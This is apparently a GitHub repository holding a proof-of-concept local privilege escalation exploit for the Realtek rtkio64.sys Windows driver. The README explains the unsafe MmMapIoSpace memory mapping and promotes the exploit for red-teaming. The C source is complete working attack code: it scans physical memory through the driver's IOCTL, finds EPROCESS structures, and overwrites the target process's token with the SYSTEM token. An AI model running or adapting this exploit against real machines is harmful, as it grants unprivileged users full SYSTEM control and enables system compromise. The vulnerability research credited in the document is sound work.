├── screenshots └── poc_realtek_privesc.gif ├── README.md ├── src ├── realtek_rtkio64_sys_priv_esc.h └── realtek_rtkio64_sys_priv_esc.c └── LICENSE /screenshots/poc_realtek_privesc.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation/HEAD/screenshots/poc_realtek_privesc.gif -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Realtek rtkio64 Windows driver privilege escalation 2 | 3 | ## What is this? 4 | 5 | This is a privilege escalation exploit of the Realtek rtkio64 Windows driver. If the driver is installed on the system, it is possible to escalate privileges to "NT Authority\SYSTEM" from any unprivileged user. 6 | 7 | ## Disclamer 8 | 9 | This code is a Proof-Of-Concept. It can cause the system to crash. Use at your own risk! 10 | That said, on my setup on Windows 10 version 10.0.17763.973) and with reasonable memory mapping limits, the code worked just fine. 11 | 12 | ## Demo 13 | ![Exploitation_PoC](https://github.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation/blob/master/screenshots/poc_realtek_privesc.gif) 14 | 15 | ## How does it work 16 | 17 | The Realtek rtkio64 driver maps kernel memory in an unsafe manner (using MmMapIoSpace routine) making it possible to map the kernel memory by anyone who decides to talk to the driver. It is then possible to find and steal privileged tokens stored in the EPROCESS structure of privileged processes. When the current process token is overwritten with the privileged token, the current process gains "NT Authority\SYSTEM" privileges. 18 | 19 | ## Usage notes 20 | 21 | This exploit maps the physical memory to process memory and parses it looking for EPROCESS structures. The start address and end address that should be used for mapping the memory will vary from PC to PC depending on the size of RAM (and other factors). These values can be tweaked (using command line options -startAddr and -endAddr). Choosing start address and end address too far apart will make the scanning process take longer. Setting these values too high can also be risky and cause crashes. 22 | 23 | It is also possible to choose which process you want to steal the token from (command line option -privilegedPID) and to which process we want to elevate privileges (command line option -userPID). 24 | 25 | Finally, sometimes when we look through the memory, we can miss the searched structure. In such case, we can choose another privileged process to steal the token from. 26 | 27 | ## Credits 28 | 29 | This vulnerability (and many similar ones in numerous other Windows drivers) were discovered and presented at DEFCON 27 by [@JesseMichael](https://twitter.com/jessemichael) and [@HackingThings](https://twitter.com/hackingthings) from the Eclypsium project. 30 | I don't pretend to have found the bug. I just coded a PoC for fun, no profit. 31 | 32 | ## Driver version and references 33 | 34 | The vulnerable driver is part of the "Realtek Ethernet Controller All-In-One Windows Driver". 35 | It can be found in the sp87568.exe driver pack with the following references. 36 | 37 | Title: Realtek Ethernet RTL8111EPH-CG Controller Drivers 38 | Version: 10.23.1003.2017 39 | Description: This package provides the driver for the Realtek Ethernet RTL8111EPH-CG Controller in the supported notebook/laptop models and operating 40 | 41 | Following is the hash and name of the vulnerable driver : 42 | 43 | 7133a461aeb03b4d69d43f3d26cd1a9e3ee01694e97a0645a3d8aa1a44c39129 rtkio64.sys 44 | 45 | ## Moral of the story 46 | 47 | During red-teaming or Windows AD pwning scenarios, don't forget to look for installed drivers. Local admin (or system crash :)) may be closer than you excpect. 48 | 49 | ## References 50 | - [https://github.com/eclypsium/Screwed-Drivers](https://github.com/eclypsium/Screwed-Drivers) 51 | - [http://blog.rewolf.pl/blog/?p=1630](http://blog.rewolf.pl/blog/?p=1630) 52 | - [https://www.fuzzysecurity.com/tutorials/expDev/23.html](https://www.fuzzysecurity.com/tutorials/expDev/23.html) 53 | - [http://www.jackson-t.ca/lg-driver-lpe.html](http://www.jackson-t.ca/lg-driver-lpe.html) 54 | -------------------------------------------------------------------------------- /src/realtek_rtkio64_sys_priv_esc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | // #### CONSTANTS #### 6 | 7 | #define VULN_IOCTL (UINT64)0x80002000 8 | #define OUT_BUFF_SIZE 0x8 9 | #define BUFF_SIZE (UINT64)0x5000 10 | #define START_ADDRESS (UINT64)0x00000000 11 | #define END_ADDRESS (UINT64)0x110000000 12 | #define OFFSET_PROC_TAG 4 13 | #define OFFSET_IMAGEFILENAME 0x450+0x80 // 0x450 from beginning of EPROCESS to IMAGEFILENAME, 0x60-4 from "Proc" tagged pool to beginning of EPROCESS 14 | #define SIZE_IMAGEFILENAME 15 15 | #define OFFSET_PRIORITYCLASS 0x45f+0x80 // PRIORITYCLASS is usually equal 0x2 16 | #define VALUE_PRIORITYCLASS 0x2 // expected value 17 | #define SIZE_PRIORITYCLASS 1 18 | #define OFFSET_PROCESSLOCK 0x2d8+0x80 19 | #define SIZE_PROCESSLOCK 0x8 20 | #define VALUE_PROCESSLOCK 0x0 // expected _EX_PUSH_LOCK == 0 21 | #define OFFSET_UNIQUEPROCESSID 0x2e0+0x80 22 | #define SIZE_UNIQUEPROCESSID 0x8 23 | #define OFFSET_TOKEN 0x358+0x80 24 | #define SIZE_TOKEN 0x8 25 | #define OFFSET_FORKINPROGRESS 0x380+0x80 26 | #define SIZE_FORKINPROGRESS 0x8 27 | #define DEVICE_NAME "\\\\.\\rtkio" 28 | 29 | #define putchar(c) putc((c),stdout) 30 | 31 | 32 | // #### STRUCTURES #### 33 | 34 | typedef struct inBuffer_ { 35 | UINT64 addr_to_map; 36 | UINT64 size_to_map; 37 | } INBUF, *PINBUF; 38 | 39 | // #### FUNCTIONS #### 40 | 41 | HANDLE open_device(const char* device_symbolic_link) 42 | { 43 | HANDLE device_handle = INVALID_HANDLE_VALUE; 44 | 45 | device_handle = CreateFileA(device_symbolic_link, // Device to open 46 | GENERIC_READ | GENERIC_WRITE, // Request R/W access 47 | FILE_SHARE_READ | FILE_SHARE_WRITE, // Allow other processes to R/W 48 | NULL, // Default security attributes 49 | OPEN_EXISTING, // Default disposition 50 | 0, // No flags/attributes 51 | NULL); // Don't copy attributes 52 | 53 | return device_handle; 54 | } 55 | 56 | void close_device(HANDLE device) 57 | { 58 | CloseHandle(device); 59 | } 60 | 61 | BYTE * map_kernel_buffer(HANDLE device, PINBUF inBuffer) 62 | { 63 | DWORD bytes_returned = 0; 64 | BYTE * outBuffer; 65 | 66 | DeviceIoControl( 67 | device, 68 | VULN_IOCTL, 69 | inBuffer, 70 | sizeof(INBUF), 71 | &outBuffer, 72 | sizeof(outBuffer), 73 | &bytes_returned, 74 | (LPOVERLAPPED)NULL); 75 | 76 | return (BYTE *)outBuffer; 77 | } 78 | 79 | 80 | DWORD get_parent_pid(DWORD pid) 81 | { 82 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 83 | 84 | PROCESSENTRY32 pe32 = { 0 }; 85 | pe32.dwSize = sizeof(PROCESSENTRY32); 86 | 87 | Process32First(hSnapshot, &pe32); 88 | 89 | do 90 | { 91 | if (pe32.th32ProcessID == pid) 92 | return pe32.th32ParentProcessID; 93 | } while (Process32Next(hSnapshot, &pe32)); 94 | 95 | return 0; 96 | } 97 | 98 | // ### OPTIONS PARSING ### 99 | 100 | DWORDLONG get_priv_pid_opt(int argc, char** argv) 101 | { 102 | for (int i = 1; i < argc; i++) 103 | { 104 | if (strcmp(argv[i], "-privilegedPID") == 0 && i + 1 < argc) 105 | { 106 | return atoi(argv[i + 1]); 107 | } 108 | } 109 | return NULL; 110 | } 111 | 112 | DWORDLONG get_user_pid_opt(int argc, char** argv) 113 | { 114 | for (int i = 0; i < argc; i++) 115 | { 116 | if (strcmp(argv[i], "-userPID") == 0 && i + 1 < argc) 117 | { 118 | return atoi(argv[i + 1]); 119 | } 120 | } 121 | return NULL; 122 | } 123 | 124 | DWORDLONG get_start_address_opt(int argc, char** argv) 125 | { 126 | for (int i = 0; i < argc; i++) 127 | { 128 | if (strcmp(argv[i], "-startAddr") == 0 && i + 1 < argc) 129 | { 130 | return strtoll(argv[i + 1], NULL, 16); 131 | } 132 | } 133 | return NULL; 134 | } 135 | 136 | DWORDLONG get_end_address_opt(int argc, char** argv) 137 | { 138 | for (int i = 0; i < argc; i++) 139 | { 140 | if (strcmp(argv[i], "-endAddr") == 0 && i + 1 < argc) 141 | { 142 | return strtoll(argv[i + 1], NULL, 16); 143 | } 144 | } 145 | return NULL; 146 | } 147 | 148 | DWORDLONG get_help_opt(int argc, char** argv) 149 | { 150 | for (int i = 0; i < argc; i++) 151 | { 152 | if (strcmp(argv[i], "-h") == 0 || strcmp(argv[i], "-help") == 0 || strcmp(argv[i], "--help") == 0) 153 | { 154 | return 1; 155 | } 156 | } 157 | return NULL; 158 | } 159 | -------------------------------------------------------------------------------- /src/realtek_rtkio64_sys_priv_esc.c: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include 3 | #include 4 | #include "realtek_rtkio64_sys_priv_esc.h" 5 | #include 6 | 7 | int main(int argc, char **argv) 8 | { 9 | printf("\n### Realtek RTKIO64 driver privilege escalation PoC ###\n\n"); 10 | 11 | HANDLE dev = open_device(DEVICE_NAME); 12 | if (dev == INVALID_HANDLE_VALUE) 13 | { 14 | printf("Failed to open device!\n"); 15 | return -1; 16 | } 17 | 18 | if (get_help_opt(argc, argv) != NULL) 19 | { 20 | printf("\n"); 21 | printf("Usage:\n\n"); 22 | 23 | printf(" %s [-userPID 1234] [-privilegedPID 1234] [-startAddr 0x080000000] [-endAddr 0x140000000]\n\n", argv[0]); 24 | printf(" -userPID : PID of the process to elevate the privileges (default : current process)\n"); 25 | printf(" -privilegedPID : PID of the process to steal the token from (default : 4 - \"System process\")\n"); 26 | printf(" -startAddr : physical memory to start mapping from (default : 0x%016I64X)\n", START_ADDRESS); 27 | printf(" -endAddr : physical memory to stop mapping at (default : 0x%016I64X)\n", END_ADDRESS); 28 | printf("\n"); 29 | return 1; 30 | } 31 | 32 | // process ID to give the privileges to (by default, the parent process of the current process) 33 | DWORDLONG user_pid = get_user_pid_opt(argc, argv) ? get_user_pid_opt(argc, argv) : get_parent_pid(GetCurrentProcessId()); 34 | //DWORDLONG user_pid = get_parent_pid(GetCurrentProcessId()); 35 | 36 | // PID of the privileged process to steal the token from (4 by default which is the "System" process) 37 | DWORDLONG priv_pid = get_priv_pid_opt(argc, argv) ? get_priv_pid_opt(argc, argv) : 4; 38 | //DWORDLONG priv_pid = 4; 39 | 40 | UINT64 phys_start_address = get_start_address_opt(argc, argv) ? get_start_address_opt(argc, argv) : START_ADDRESS; 41 | UINT64 phys_end_address = get_end_address_opt(argc, argv) ? get_end_address_opt(argc, argv) : END_ADDRESS; 42 | 43 | // this variable will contain the stolen token value 44 | DWORD stolen_token = 0; 45 | 46 | // this will contain the ptr to the EPROCESS token of the targeted process (current process by default) 47 | UINT64 current_token_ptr = 0; 48 | 49 | // This is the input buffer used to communicate with the driver 50 | PINBUF inBuffer = (PINBUF)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(INBUF)); 51 | 52 | // The size to map will always be the same through the code 53 | inBuffer->size_to_map = BUFF_SIZE; 54 | 55 | // mapped_address will hold the pointer to the mapped kernel memory 56 | BYTE * mapped_address; 57 | 58 | printf(" Targeted privileged process PID : %i\n", priv_pid); 59 | printf(" Targeted user process PID : %i\n", user_pid); 60 | printf(" Physical start address : 0x%016I64X\n", phys_start_address); 61 | printf(" Physical end address : 0x%016I64X\n\n", phys_end_address); 62 | 63 | printf("# Started scanning memory. This may take a while...\n\n"); 64 | // ## MAIN LOOP ## 65 | for (UINT64 phys_addr_iterator = phys_start_address; phys_addr_iterator < phys_end_address; phys_addr_iterator = phys_addr_iterator + BUFF_SIZE) 66 | { 67 | // setup phys_addr_iterator 68 | inBuffer->addr_to_map = phys_addr_iterator; 69 | 70 | // talk with driver 71 | mapped_address = map_kernel_buffer(dev, inBuffer); 72 | 73 | // print debug message from time to time 74 | if (phys_addr_iterator % 0x1000000 == 0) printf("# Currently scanning : 0x%016I64X\n\n", phys_addr_iterator); 75 | 76 | // if mapped_address pointer is not NULL, start searching 77 | if (mapped_address != NULL) 78 | { 79 | // iterate on the currently mapped blob 80 | for (UINT64 current_blob_iterator = 0; current_blob_iterator < BUFF_SIZE-50; current_blob_iterator = current_blob_iterator + 0x10) 81 | { 82 | // temporary ptr to currently searched blob 83 | BYTE * current_blob_ptr = (BYTE *)(mapped_address + current_blob_iterator); 84 | 85 | // just in case, check if we can read the memory 86 | if (IsBadReadPtr(current_blob_ptr,4) == 0 && IsBadReadPtr(current_blob_ptr + OFFSET_IMAGEFILENAME, 15) == 0 && IsBadReadPtr(current_blob_ptr + OFFSET_PRIORITYCLASS, 1) == 0) 87 | { 88 | // setup needles used to search for EPROCESS structure (the more we have the more robust the search will be) 89 | UINT32 proc_match_candidate = *(UINT32 *) (current_blob_ptr + OFFSET_PROC_TAG); 90 | BYTE pclass_match_candidate = *(BYTE *) (current_blob_ptr + OFFSET_PRIORITYCLASS); 91 | UINT32 processlock_match_candidate = *(UINT32 *) (current_blob_ptr + OFFSET_PROCESSLOCK); 92 | CHAR * imageFileName_candidate = (CHAR *)(current_blob_ptr + OFFSET_IMAGEFILENAME); 93 | 94 | // "Proc" == 0x636f7250 95 | // We will be looking for Proc tagged pool structures which in turn contain EPROCESS structure in them 96 | if (proc_match_candidate == 0x636f7250 && pclass_match_candidate == 0x2 && processlock_match_candidate == 0x0 && imageFileName_candidate[0] > 0x30 && imageFileName_candidate[0] < 0x7a) 97 | { 98 | 99 | printf("\tFOUND \"Proc\" tagged pool!\n\n"); 100 | printf("\t\tProcess name : "); 101 | for (int k = 0; k < 15; k++) 102 | { 103 | putchar(*(char *)(current_blob_ptr + OFFSET_IMAGEFILENAME + k)); 104 | } 105 | printf("\n"); 106 | printf("\t\tPID : %i\n", *(UINT *)(current_blob_ptr + OFFSET_UNIQUEPROCESSID)); 107 | printf("\t\tTOKEN : 0x%08I64X\n", *(DWORD *)(current_blob_ptr + OFFSET_TOKEN)); 108 | printf("\n"); 109 | 110 | 111 | // Is this our current process we are looking for? (we first check if we found it already) 112 | if (current_token_ptr == NULL && *(DWORD *)(current_blob_ptr + OFFSET_UNIQUEPROCESSID) == user_pid) 113 | { 114 | printf("\t\tFOUND current process! (storing address for later)\n\n"); 115 | current_token_ptr = phys_addr_iterator + current_blob_iterator + OFFSET_TOKEN; 116 | } 117 | // Is this the privileged process we are looking for ? (we first check if we found it already) 118 | if (stolen_token == NULL && *(DWORD *)(current_blob_ptr + OFFSET_UNIQUEPROCESSID) == priv_pid) 119 | { 120 | printf("\t\tFOUND privileged token! (saving token for later)\n\n"); 121 | stolen_token = *(DWORD *)(current_blob_ptr + OFFSET_TOKEN); 122 | } 123 | 124 | // Do we have all we need to privesc ? 125 | if (stolen_token != NULL && current_token_ptr != NULL) 126 | { 127 | inBuffer->addr_to_map = current_token_ptr; 128 | mapped_address = (BYTE *)map_kernel_buffer(dev, inBuffer); 129 | printf("Overwriting token of targeted process\n"); 130 | printf("OLD TOKEN : 0x%08I64X\n", *(DWORD *)mapped_address); 131 | *(DWORD *)mapped_address = stolen_token; 132 | printf("NEW TOKEN : 0x%08I64X\n", *(DWORD *)mapped_address); 133 | printf("Enjoy your privileged shell!\n"); 134 | return 0; 135 | } 136 | } 137 | } 138 | 139 | } 140 | 141 | } 142 | } 143 | 144 | printf("Exploit finished but the privilege escalation did not succeed.\n"); 145 | 146 | system("pause"); 147 | close_device(dev); 148 | return 0; 149 | } 150 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | --------------------------------------------------------------------------------